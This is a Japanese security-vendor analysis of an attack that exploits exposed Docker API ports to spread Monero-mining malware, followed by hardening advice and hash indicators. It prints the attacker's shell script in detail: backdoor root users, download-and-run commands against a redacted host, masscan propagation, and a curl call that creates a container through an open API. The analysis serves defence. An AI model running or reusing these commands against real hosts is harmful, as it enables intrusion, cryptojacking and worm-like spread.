Docker コンテナの設定不備を悪用し仮想通貨発掘マルウェアを拡散する攻撃を確認

トレンドマイクロは、コンテナ型仮想環境を提供するソフトウェア「Docker Engine Community 版」における設定の不備を悪用し、仮想通貨発掘マルウェア(「Coinminer.SH.MALXMR.ATNE」として検出)を拡散する攻撃を確認しました。感染 PC では Docker API が使用するポート「2375/TCP」および「2376/TCP」がインターネットに露出していました。

2375 番または 2376 番ポートで確認された攻撃
図 1:2375 番または 2376 番ポートで確認された攻撃

■Docker API のセキュリティ

Docker Engine は、イメージと呼ばれる単位でファイルシステムや設定を管理するコンテナ型の仮想化技術を提供するソフトウェアです。コンテナ型仮想化技術において、各仮想環境はホスト PC のオペレーティングシステム(OS)を共有します。遠隔のユーザは、Docker が提供する API を利用し、ローカルの Docker クライアントと同様に Docker イメージを管理することが可能です。しかし、この API が使用するポートが無防備に露出していた場合、攻撃者による不正活動に悪用される恐れがあります。

今回確認された攻撃は、無償の Docker Engine Community 版で確認されました。ただし、Docker Engine 自体が改ざんまたは悪用されたわけではありません。また、商用の Enterprise 版はこの攻撃の影響を受けません。

Docker は、コンテナを保護するためにユーザが自身で設定および有効化することのできるセキュリティ機能を備えています。Community 版Enterprise 版のそれぞれについて、プラットフォームを保護するためのツール、文書、およびガイドラインが提供されており、そのどちらでも、API が使用するポートは開放したままにしておくべきではないと案内されています。例えば、Docker を利用して業務アプリケーションを実行している企業は、ロールに基づくアクセス制御によって認証されたユーザにのみ API の利用を許可する商用版の使用が推奨されています。

■露出が確認された Docker API

Docker API が使用するポートは、管理者によって手動で設定されるため、このようなポートの露出はユーザ側における設定の不備だと言うことができます。今回のように、不適切な設定によって脅威のリスクにさらされる事例は新しいものではありませんが、企業にとっては長年の課題となっています。事実、インターネットに接続した機器を対象とする検索サービス「Shodan」を利用したトレンドマイクロの調査では、中国を中心に、米国、フランス、ドイツ、シンガポール、オランダ、英国、日本、インド、そしてアイルランドなどで Docker を実行するホストの露出が確認されました。

また、検出された攻撃の国別分布は図 2 の通りです。

2375 番または 2376 番ポートで確認された攻撃の国別分布
図 2:2375 番または 2376 番ポートで確認された攻撃の国別分布

露出していた PC の大多数は Linux OS を実行していました。Linux では、Docker のデーモン(バックグランドプロセス)は、Docker Engine API へのリクエストを待機しますが、TCP ソケットの有効化は手動で行う必要があります。さらに、初期設定では暗号化や認証機能が有効化されていないことに留意してください。Windows 向けの Docker では、セキュリティ上の理由から バージョン「17.0.5-win8」までは TCP ソケットは初期設定で無効でしたが、それ以降のバージョンではオプトイン方式でユーザの設定により無効化する仕様となっています。

露出したポートはさまざまなバージョンの Docker で確認されていますが、その半数以上は 2018 年 8 月 21 日に公開された、バージョン「18.06.1-ce」でした。

■マルウェアおよびパケットの解析

今回確認された攻撃の流れは図 3 の通りです。

Docker Engine の設定不備を悪用した感染の流れ
図 3:Docker Engine の設定不備を悪用した感染の流れ

攻撃者は、露出した API ポートを通して Docker コンテナを作成します。

露出した Docker API を介してコンテナを作成するパケット
図 4:露出した Docker API を介してコンテナを作成するパケット

次に、作成したコンテナを起動し、仮想環境上で以下のようなさまざまなコマンドを実行します。

  • パッケージマネージャを利用し、「wget」パッケージをインストール
  • 「wget」コマンドを使用し、マルウェアを自動的にデプロイするスクリプト “auto.sh” をダウンロード
  • ダウンロードした “auto.sh” を Unix 向けの形式に変換(スクリプトの行末が DOS 向けのフォーマットのため)
  • “auto.sh” のパーミッションを実行可能に変更
  • “auto.sh” を実行

この “auto.sh” は、以下のように仮想通貨「Monero」を発掘するマルウェアをデプロイするスクリプトでした。

  • ユーザ「richard」および「frank」を作成し、ルート権限を付与
  • パスワードによる認証を有効化して Secure Socket Shell(SSH)デーモンを再起動(コンテナへのアクセスに利用される Docker の SSH デーモンは初期設定で有効)
  • パッケージマネージャを利用し、Linux のシステム管理デーモン「systemd」、ポートスキャンツール「masscan」、ネットワーキングツール「iproute2」をインストール
  • 活動を持続するために追加のスクリプトおよびファイルをダウンロードし、実行権限を設定
  • 仮想通貨発掘のために計算能力を確保
    攻撃者が意図したものではない Monero 発掘プロセスを終了し、自動実行を無効化。攻撃者が意図した Monero 発掘のための実行ファイル “xm.services” を実行し、自動実行を有効化
  • 拡散のためのネットワークスキャン活動
    感染 PC が属するネットワークに対して毎秒 50,000 パケットで 2375 番ポートおよび2376 番ポートをスキャン、結果を “local.txt” ファイルに保存
  • 予備調査のためのスキャンで発見したホストにツール群を複製し、拡散
  • 攻撃者が意図した Monero 発掘プロセスを確認し、実行されていない場合プロセスを起動

■仮想通貨発掘プロセスを実行するコマンド

上述の Monero 発掘活動は以下のコマンドによって実行されます。

ユーザ「richard」および「frank」を作成し、ルート権限を付与

useradd -m -p ‘xxx’ richard
useradd -m -p ‘xxx’ frank
adduser -m -p ‘xxx’ frank
adduser -m -p ‘xxx’ richard
usermod -aG sudoers frank;
usermod -aG root frank;
usermod -aG sudoers richard;
usermod -aG root richard;
sudo adduser frank sudo;
sudo adduser richard sudo;

パスワードによる認証を有効化して Secure Socket Shell(SSH)デーモンを再起動

sed -i ‘s/PasswordAuthentication no/PasswordAuthentication yes/g’ #mkdir /.tmp/etc/ssh/sshd_config;
/etc/init.d/ssh restart;
/etc/init.d/sshd restart;
/etc/rc.d/sshd restart;

パッケージマネージャを利用し、「systemd」、「masscan」、「iproute2」をインストール

if [ $(dpkg-query -W -f=’${Status}’ systemd 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install systemd -y;
yum install systemd -y;
fi;
if [ $(dpkg-query -W -f=’${Status}’ masscan 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install masscan -y;
yum install masscan -y;
fi;
if [ $(dpkg-query -W -f=’${Status}’ iproute2 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install iproute2 -y;
yum install iproute2 -y;
fi;

持続的な活動のために追加のスクリプトおよびファイルをダウンロード

curl -s hxxp://X.X.X.163/k.php;
wget hxxp://X.X.X.163/data.cfg -O /data.cfg;
wget hxxp://X.X.X.163/xm -O /xm;
wget hxxp://X.X.X.163/xm.service -O /xm.service;
wget hxxp://X.X.X.163/test.sh -O test.sh;
wget hxxp://X.X.X.163/test3.sh -O test3.sh;
sleep 2s;

ダウンロードしたスクリプトおよびファイルに実行権限を設定

chmod 777 /xm;
chmod 777 test.sh;
chmod 777 test3.sh;
sleep 2s;

仮想通貨発掘のために計算能力を確保

攻撃者が意図したものではない Monero 発掘プロセスを終了し、自動実行を無効化。攻撃者が意図する Monero 発掘のための実行ファイル”xm.services” を実行し、自動実行を有効化

killall xmrig;
killall proc;
killall minergate-cli;
killall xmr-stak;
(省略)

拡散のためのネットワークスキャン活動

感染 PC が属するネットワークに対して毎秒 50,000 パケットで 2375 番ポートおよび2376 番ポートをスキャン、結果を “local.txt” ファイルに保存

masscan “$@” -p2375,2376 –rate=50000 -oG local.txt;

予備調査のためのスキャンで発見したホストにツール群を複製し、拡散

sudo sed -i ‘s/^Host: \([0-9.]*\).*Ports: \([0-9]*\).*$/\1:\2/g’ local.txt;
sudo sh test3.sh local.txt;

攻撃者が意図した Monero 発掘プロセスを確認し、実行されていない場合プロセスを起動

ps cax | grep xm > /dev/null
if [ $? -eq 0 ]; then
echo “Process is running.”
else
echo “Process is not running.”
cp /data.cfg data.cfg
cp /xm xm
./xm -c data.cfg
/xm -c data.cfg
cd /
/xm -c data.cfg
echo “BAM!.”
fi;

■過去に Docker API が悪用された事例

Docker API を悪用する類似した攻撃は以前にも確認されています。2017 年 4 月の事例では、設定の不備により、dockerd REST API への接続に利用されていた 4243 番ポートが露出していました。攻撃者は、Docker コンテナの作成後、感染システムに追加の SSH キーを設置し、「分散型サービス拒否(distributed denial-of-service、DDoS)攻撃」を実行するマルウェアをデプロイしていました。また、活動を持続するために、PC 起動時にこのマルウェアを自動実行するツールおよびスクリプトをインストールしていました。問題の Docker インスタンスには認証が設定されていなかったため、以下のようなコマンドを実行することにより攻撃者は直接 Docker コンテナを作成することができました。

curl -H “Content-Type: application/json”  -d ‘{“Image”: “ubuntu”, “Cmd”: [“/bin/bash”]}’  -X POST hxxp://X.X.X.X:4243/v1.19/containers/create

今回の事例と同様に、新しいコンテナを作成するために「create」コマンドと Linux ディストリビューション「Ubuntu」のイメージが使用され、作成したコンテナに不正なソフトウェアがデプロイされていました。
さらに、この攻撃者は、コンテナの「shell」にアクセスするために、以下のような「attach」コマンドを利用していました。

POST /v1.19/containers/<container_id>/attach?stderr=1&stdin=1&stdout=1&stream=1″

■被害に遭わないためには

このような攻撃に対処する方法はいくつか考えられますが、最も良い方法は Docker のシステムログに記載されているように、 Docker REST API にアクセスするポートを外部に露出しないことです。

level=warning msg=”/!\\ DON’T BIND ON ANY IP ADDRESS WITHOUT setting -tlsverify IF YOU DON’T KNOW WHAT YOU’RE DOING /!\\”

Docker REST API に外部からアクセスする必要がある場合は、TLS 認証を確実に有効化してください。

個人や法人は、コンテナ技術を利用することによってクラウド環境へのアプリケーションのデプロイを効率化することができます。特に、迅速な開発およびデプロイに焦点を置く DevOps 手法を採用している場合、その恩恵は大きなものとなります。しかし、設定に不備のある、あるいは脆弱性を持つアプリケーションを利用している場合、余分な作業が発生するだけでなく、アプリケーションが管理するデータのプライバシーやアプリケーションを実行しているインフラストラクチャの完全性にも影響が及びます。サービスの停止を防ぎ、IT および DevOps チームがより迅速にセキュリティ課題に対処できるように、開発の初期段階から自動化されたセキュリティの仕組みを組み込むことが重要です。

Docker のセキュリティを保護するためのベストプラクティスには以下のようなものがあります。

  • Docker のセキュリティに関する基本知識を身に着けること
    システム管理者およびセキュリティチームは、Docker Engine を守るための指標として CIS Docker ベンチマークを参照してください。
  • コンテナイメージを検証すること
    コンテナイメージが、認証および署名されており、「Docker Trusted Registry」のような信頼できるレジストリからインストールされたものであることを確認してください。Docker イメージの自動スキャンが可能なツールの導入は開発サイクルの改善に役立ちます。
  • 最小権限の原則を適用すること
    Docker デーモンへのアクセスを制限し、通信を暗号化してください。Docker はデーモンソケットを保護するためのガイドラインを公開しています。
  • グループおよび名前空間を管理し、コンテナに割り当てるリソースを適切に設定すること
  • Docker に組み込まれたセキュリティ機能を有効化すること
    Docker を利用したアプリケーションを保護するためのガイドラインを参照してください。

■トレンドマイクロの対策

トレンドマイクロの「Hybrid Cloud Security」は、DevOps 体制を支えるセキュリティチームに対して、「XGen」アプローチにより、物理・仮想・クラウドの混在環境における最適なセキュリティを提供します。総合サーバセキュリティ製品「Trend Micro Deep Security™」およびコンテナイメージを保護する「Deep Security Smart Check」により、デプロイおよび実行時にコンテナイメージをスキャンすることが可能です。

これらのセキュリティ対策製品により、企業はセキュリティおよびコンプライアンスに焦点を当てつつ、DevOps 体制による迅速で柔軟な開発を行うことが可能になります。また、Amazon Web ServicesDockerMicrosoft Azure、そして VMware のような環境に対して、さまざまなセキュリティ機能と完全な可視化機能を提供する単一の管理画面により、必要なセキュリティツールの数を削減することが可能です。

総合サーバセキュリティ製品「Trend Micro Deep Security™」は、複数の環境にまたがる自動デプロイや広範な API の統合、そして最新の脅威からサーバを保護するセキュリティのための作業コストと複雑性を低減します。

トレンドマイクロが提供する「Trend Micro Smart Home Network™」を実装したルータおよびホームネットワークセキュリティ製品「ウイルスバスター for Home Network」をご利用のお客様は以下のルールによってこの脅威から保護されています。

  • 1133254 WEB Remote Command Execution via Shell Script -1.b

■侵入の痕跡(Indicators of Compromise、IoC)

Coinminer.SH.MALXMR.ATNE」の SHA256 値は以下の通りです。

  • 61698b873322fa711c1c30956260c1438949db90a3c3b634a4664080e66fc64d
  • e45a416e8ee1177202bb96732d1b74be98ecc22ba01a96de109e7a54e71cf4e0

Coinminer.SH.MALXMR.ATNG」の SHA256 値は以下の通りです。

  • 684a62e76283d62ddd39bdd16f3bbdcf361002ed5a1f2b6c50ecf33bfd333783

Coinminer.SH.MALXMR.ATNH」の SHA256 値は以下の通りです。

  • 9da6ea45baae25f5f1e2da3d32eac7a6fd534140e83bdef3bd46dd78a18e29b5

デプロイされた DDoS ツール「Backdoor.Linux.SETAG.RPA」の SHA256 値は以下の通りです。

  • de52ca825e88bf0ead4dded5730e528387593ff0db392b3fd38c2211707d9469

※調査協力:Patrick Roderno

参考記事:

翻訳: 澤山 高士(Core Technology Marketing, TrendLabs)